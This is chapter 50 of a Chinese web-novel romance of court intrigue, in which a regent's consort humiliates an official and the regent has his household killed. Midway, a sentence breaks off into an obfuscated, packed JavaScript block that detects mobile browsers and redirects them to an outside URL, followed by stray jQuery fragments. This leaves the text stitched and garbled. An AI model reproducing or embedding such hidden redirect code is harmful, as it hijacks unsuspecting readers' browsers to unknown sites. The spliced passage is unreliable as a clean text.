50. 第50章

作品:《郡主只谋权,不谋爱

    次日,南宫翎月收到边关来的信件,南宫瀚安好,但祁泽还是一如既往的软蛋,好几次跟蛮夷人交锋,他总是第一个退缩。


    偏偏他生于皇族,南宫瀚无法直接以违反军规处置,只能等回京后交给皇帝。


    因为祁泽多次扰乱军心,副将们多有怨言,曾经在南宫瀚面前吵着要杀鸡儆猴,若不是他这个元帅挡在前面,祁泽早已身首异处。


    南宫翎月把纸条放进碳炉里烧毁,又让丫鬟去侯府传话给母亲,叮嘱她要挑些好话讲。


    已经快到午时,宫里还没传来消息,说明皇帝真的病得不轻,否则以他按耐不住的性情,早就给她找麻烦了。


    想起梦中祁泽被祁华算计至死,南宫翎月不禁低嗤一句:“哼,贪生怕死,还敢肖想皇位,不知是谁给的勇气!”


    不过,若是祁泽延误军事,害得父亲深陷危险之间,远水救不了进火,她能保护好家人吗?这般顾虑悄然窜上心头。


    但转头想到梦中父兄均是被祁华赐死这一结局,她又稍稍安心下来。


    只要她先除掉祁华,一切事情都不会发生。


    丫鬟们见到午膳时间要到,便纷纷从厨房端来热口的饭菜,屋子里瞬间飘香。


    还没走到餐桌边坐下,一丫鬟急匆匆地跑过来通报,说沈家抬了三万两黄金,正在王府门口等王妃接收。


    一听有人送钱来,南宫翎月心里的雾霾顿时扫清,在玉珠的搀扶下,她快步来到王府大门。


    十箱黄金齐齐摆放在门口前的空地上,引得来往的百姓纷纷伸脖子观看,个个眼中有光。


    若是换个地方,百姓们见到那么多黄金,估计已经哄抢一空了。


    来人是沈流疏,他身穿官服,应该是下朝后直接来的,抬头仰视着摄政王府的牌匾,眼神满是厌恶。


    南宫翎月笑道:“大人自持清高,来这里还债定然下了莫大的决心。”


    沈流疏一个平民出身,科举后在官场上一直不瘟不火,近期突然升官,不过是在皇帝跟前拍马屁多了,也许还有外甥女攀附上二皇子的助力。


    “尊老爱幼是我大祁文人墨客所推崇的美德,但你不仅赶叔婶一家,还差点吓病有身孕的长姐,无功无德,本官明日定要参你一本!”


    说话的语气听着中气十足,倒让人想到南宫武一家稍微得势就扯高气扬的德行,果真是一脉相承下来的。


    南宫翎月故作惊讶,冲围在周边看戏的百姓问:“你们听到了吗?沈大人说他外甥女已有身孕!”


    “听到了,我记得她明日才办婚礼,怎么就怀上了呢?”


    “那岂不是无媒苟合!沈夫人今日还到处发喜糖,说她女儿当上侧妃,没想到是双喜临门啊!”


    “沈大人在这里说人家王妃无德,他的外甥女又好到哪里去。”


    “婚前就被人搞大肚子,幸好已经被赶出侯府,否则以后侯府的女子都要替她背负骂名!”


    百姓们议论纷纷,大抵是因为南宫翎月刚才挑起的话茬,得了她的授意。


    沈流疏气愤得胡子吹起来,他让小厮们把人赶走,百姓们闹哄哄的不想走,奈于被人持刀驱赶,又不得不散开远去。


    他怒视着南宫翎月:“我今日下午便把你仗势欺人的事情告到陛下面前,就算豁出去我这老脸,也要为沈家、二皇子殿下讨回公道!”


    “脚长你身上,我不拦你!”南宫翎月拾起一根金条,掂量着重量,“重量挺足的,沈大人没把贪墨的赃款送来还债吧?”


    “休要胡说!本官这一生清清白白,绝不做那奸佞小人。”沈流疏的脸色黑下来,指着那十箱黄金,“听说侯夫人病重,多出来的五千两黄金就给你提前买些好木材备着用。”


    南宫翎月听言,瞬间把手里的金条扔到沈流疏脸上,后者来不及躲避,额头被砸出个口子,正猛地冒血。


    沈流疏抹了一把脸,手掌都是红得刺眼的血,害怕得后退好几步,最后被带来的小厮扶着才堪堪站稳脚跟。


    南宫翎月沉着脸,眼里的杀气肆虐起来,“沈流疏,回去准备好后事,三日后我必屠你满门!”


    沈流疏被她的气势吓懵,过了会才说话:“王妃好大口气,屠杀朝廷命官,轻则流放,重则诛九族,你要是敢做,摄政王也保不了你!”


    南宫翎月不回,沈流疏指着她又叫又骂,以为她不敢对他怎么样,没想到下一秒被祈承昀一脚踢中腰部,痛得倒在地上吸气。


    南宫翎月:“王爷怎么回来了?”


    “想你了。”祈承昀说完,特意留意南宫翎月的表情,似乎要从她的眼中找出一丝期待,可除了溢出的怒气,他看不到其他情绪。


    “杀几个人而已,费不着三日后。”祈承昀扬了扬下巴,立马就有几个府兵把沈流疏等人压制住,连嘴巴都被堵得死死的。


    他又牵起南宫翎月的手,等走近黑马边,他把人举起来,放到马鞍上坐好,随后又坐到后面,在她耳边说:“今年的红梅不够红,我带你去看更好的!”


    刚被气坏了,南宫翎月哪里还有闲心去赏梅,尤其是还要骑马,被颠簸得想吐,而且风刮在脸上凉飕飕的。


    黑马走了几步,她便拒绝道:“我不想去。”


    祈承昀久久没回应,只顾着驱赶黑马前进,南宫翎月下不来,只好顺势跟他走一趟,不过等她下马,定要拧住他耳朵,好好告诫一番。


    沈府位置不算偏,黑马走了好几条巷子,不到一刻钟时间就到。只见门面挂满了红绸缎和红灯笼,还贴上了喜字,不像是过年后为了图喜庆而留着,更像是在布置婚礼。


    沈府没什么下人在门口站岗,只有三三两两个丫鬟提着装满喜糖的篮子进进出出,听百姓们说沈素微正四处派发喜糖,应该就是她指使的。


    沈流疏等人被府兵扔在地上,痛得哇哇大叫起来,但除了沈府的人出来,没有其他人过来围观,也许是以为此处隔着大街足足百米。


    沈流疏的妻子王氏见丈夫一副狼狈样回来,身后还有摄政王和摄政王妃,现在沈府又被府兵团团围住,就知道出大事了。


    王氏跪在地上求饶,猛地撇清自己跟沈流疏的关系,说他这个人没分寸,时常惹恼贵人,又说两人已经在商量和离,偏偏因为有一小儿子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919209|192464||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    耽误了。


    南宫翎月看了一样王氏身后的孩童,不过七岁多,原来是老来得子啊!不知道受了沈家几年教养,这性子能不能掰正过来。


    她招了招手,让孩童走到她跟前,还没说话,她便突然被孩童恶狠狠地推了一把,幸好祈承昀出手把她给扶住了,否则摔这一跤,后脑勺着地就回天无力了。


    玉珠见状,冲上前甩了孩童一巴掌,又把人推回王氏那边,后者猛然护在怀里,“王爷王妃,小孩不懂事,求您们放过他!”


    南宫翎月收回目光,冷声道:“王爷,动手吧!”


    祈承昀挥了挥手,府兵们齐齐亮出兵刃,在阳光的折射下反光到沈府一众人脸上,他们被吓得冷汗直流,却始终抬不了脚就逃跑。


    沈流疏目睹这一切,呜呜地哭着,不知道有多后悔今日惹怒南宫翎月。


    祈承昀捂住南宫翎月的双眼,“别看,免得脏了眼睛。”


    话音未落,刷刷几声,周边一片安静,南宫翎月明白发生了什么,但她心里没什么感触,像是在处理一件稀松平常的事情。


    可她始终被捂住眼睛,一片黑暗,不知道现场是何等血腥,除了难闻的血腥气,还有覆盖在她眼睛上的那只手,很温暖,这便是她的所有的感知。


    再睁开眼时,已经站在凤栖院的小花园里。


    祈承昀提着食盒喊南宫翎月过来用膳,是外面酒楼里打包的饭菜,很香,色泽很诱人,后者摸了摸鼻尖,慢悠悠地走到石桌边。


    凳子也是石头做的,不过现在已经铺上毛茸茸的软垫,坐上去一点也不觉得冰凉。


    祈承昀亲自打湿帕子给她净手,又给她添好饭菜到碗里,整个人体贴得像良家妇男一样,但相比于刚杀完人的大魔头,他一举一动都透着怪异。


    “真人还是替身?”南宫翎月愣着看了他好几眼。


    “你猜?”


    看着祈承昀嘴唇弯起好看的弧度,南宫翎月便知道他憋着坏,于是问:“说实话,怎么突然回来了?”


    那日他早早就出门,都没得及跟她道别,想来是重视此次春猎。


    祈承昀吃吃停停,嘴里嘀咕着:“大祭司开始炼丹了,我回来守着你,免得被拐去当药引。”


    “狗皇帝动作那么快,看来病得不轻。”南宫翎月低头吃了一口,又抬头问他:“此次炼丹抓的都是些什么人?”


    祈承昀:“士族未出嫁女子。”


    南宫翎月听完,觉得祈承昀过于警惕,“我已出嫁,他不会来抓我的,春猎事关重大,你若不好好清理藏在那里的暗棋,过段时间便是你的劫数。”


    历年春猎,除了各皇子们的势力较量,就是皇帝要除掉眼中钉,无论哪个阵营出问题,身为举办春猎的负责人,祈承昀难逃此咎。


    祈承昀就截取第一句话听,他说:“没圆房,你还在大祭司名单中。”


    南宫翎月脸一红,有其他人保护她的话溜到嘴边又说不出来,好一会才说:“大祭司又不是什么能人异士,他还能上天遁地把我掳走不成。”


    祈承昀纯粹是没事找事,他杀人的胆量哪去了?